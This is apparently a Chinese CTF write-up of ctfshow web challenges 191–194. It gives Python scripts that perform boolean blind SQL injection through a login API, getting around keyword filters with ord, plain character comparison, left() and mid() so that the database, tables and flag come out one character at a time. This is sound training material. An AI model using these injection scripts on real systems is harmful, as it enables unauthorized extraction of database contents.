ctfshow——web入门191~194

（堆叠放一起吧）

web入门191

根据：

和

可进行盲注

这里过滤了ascii，我们可以使用ord

ord：

用于获取单个字符的 Unicode 码点（code point）。这意味着它接受一个长度为 1 的字符串（即单个字符），并返回该字符对应的整数值

改成ord的形式就可以了

import requests
import string

url = "http://08e94587-dd32-4505-9c16-b144810ab1fc.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
        for k in range(32, 128):
     
            data={
                #'username': f"1'|| if(ord(substr(database(),{j},1))={k},1,0)#",
                #'username': f"1'||if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
                #'username': f"1'||if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#"
                'username': f"1'or if(ord(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
                'password': '1'
            }
     
            re = requests.post(url, data=data)
            if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
                out += chr(k)
                print(out)
                break

web入门192

逻辑和前几题一样，只不过过滤了ord

但字母数字都放出来了

脚本：

import requests

url = "http://a9ad4300-7f04-4f81-b800-f744c51f800a.challenge.ctf.show/api/"

result = ""
letters = "{-}_0123456789abcdefghijklmnopqrstuvwxyz"

for i in range(0, 50):
    for mid in letters:
        # 查数据库
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段
        # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        # 查flag
        payload = "select group_concat(f1ag) from ctfshow_fl0g"
        data = {
            'username': f"admin' and if(substr(({payload}),{i},1)='{mid}', 1, 2) = '1",
            'password': '1'
        }

        re = requests.post(url, data=data)
        
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
                result += mid
                print(f"{result}")
                break

web入门193

禁了sbstir， 但可以用left()或者right()

eft()返回具有指定长度的字符串的左边部分。

left(string,length);

• length：想要截取的长度

right()返回具有指定长度的字符串的右边部分，用法同上。

left(..., i)：

• 使用 SQL 的 LEFT() 函数，提取 f1ag 字段值的前 i 个字符。

• i 是当前猜测的字符长度

  import requests

  url = "http://3e35ebe8-11c9-4f4f-b036-5a7914516b3d.challenge.ctf.show/api/"

  result = ""
  letters = "{-}_0123456789abcdefghijklmnopqrstuvwxyz"
  tempstr = ""

  for i in range(1,60):
  for mid in letters:
  #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
  #ctfshow_web
  #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
  #ctfshow_flxg
  #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
  #id,f1ag
  payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        re = requests.post(url = url,data =data)
        
        
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
                result += mid
                tempstr += mid
                print(f"{result}")
                break

web入门194

又过滤了

我们可以用mid或者lpad

import requests

url = "http://dfe1ba5d-27f7-4629-a3d9-c6ad7f73769b.challenge.ctf.show/api/"

result = ""
letters = "{-}_0123456789abcdefghijklmnopqrstuvwxyz"

for i in range(0, 50):
    for mid in letters:
        #payload = "admin'and ((mid((select database()),{},1)='{}'))#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and ((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}'))#".format(i,mid)
        #ctfshow_flxg
        #payload = "admin'and ((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1)='{}'))#".format(i,mid)
        #id,f1ag
        payload = "admin'and ((mid((select f1ag from ctfshow_flxg),{},1)='{}'))#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        
        re = requests.post(url, data=data)
        
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
                result += mid
                print(f"{result}")
                break